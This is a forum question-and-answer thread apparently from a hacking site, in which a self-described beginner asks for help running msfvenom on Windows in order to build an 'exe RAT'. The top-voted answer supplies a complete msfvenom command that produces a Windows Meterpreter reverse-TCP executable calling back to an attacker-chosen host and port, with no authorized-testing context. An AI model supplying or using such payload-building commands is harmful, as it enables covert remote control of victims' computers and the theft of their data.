Expand To Show Full Article
Hacking : Permission denied exec: msfvenom -h
0 votes
in Hacking by

I'm trying to execute msfvenom -h in metasploit, but it doesn't execute it. what could be the reason? 

  • It is on Windows.
  • Metasploit Community version
  • I'm trying to create a exe RAT
  • I'm noob.

Looking forward for any help. 

2 Answers

0 votes

Its a typical Permission Error , setting up own Development Environment can be bit difficult thats why i always suggest everyone to get it done on Kali , as it comes with everything in a working condition.

Usually you can Install MSF using the Source Code or the Binaries ,it takes care of all the dependencies ..

but can you tell me your exact syntax which you are using to compile an apk ? that would allow me to help you better

+1 vote
You need to run msfvenom from your cmd command line, not from msf. Change directory to where msfvenom.bat is located and runt it. Like this:

C:\metasploit>msfvenom.bat -p windows/meterpreter/reverse_tcp --platform windows-a x86 -f exe LHOST=yourIPhere LPORT=yourPORThere -o yourfile.exe

More info here: https://blog.didierstevens.com/2017/08/14/using-metasploit-on-windows/
Welcome to Ask Techie
Ask questions and receive answers from other members of the community. Hacking,Technology,Gaming,Programming,Blockchain / CryptoCurrency and everything to get you going with your Cyber World.

222 questions

227 answers


710,453 users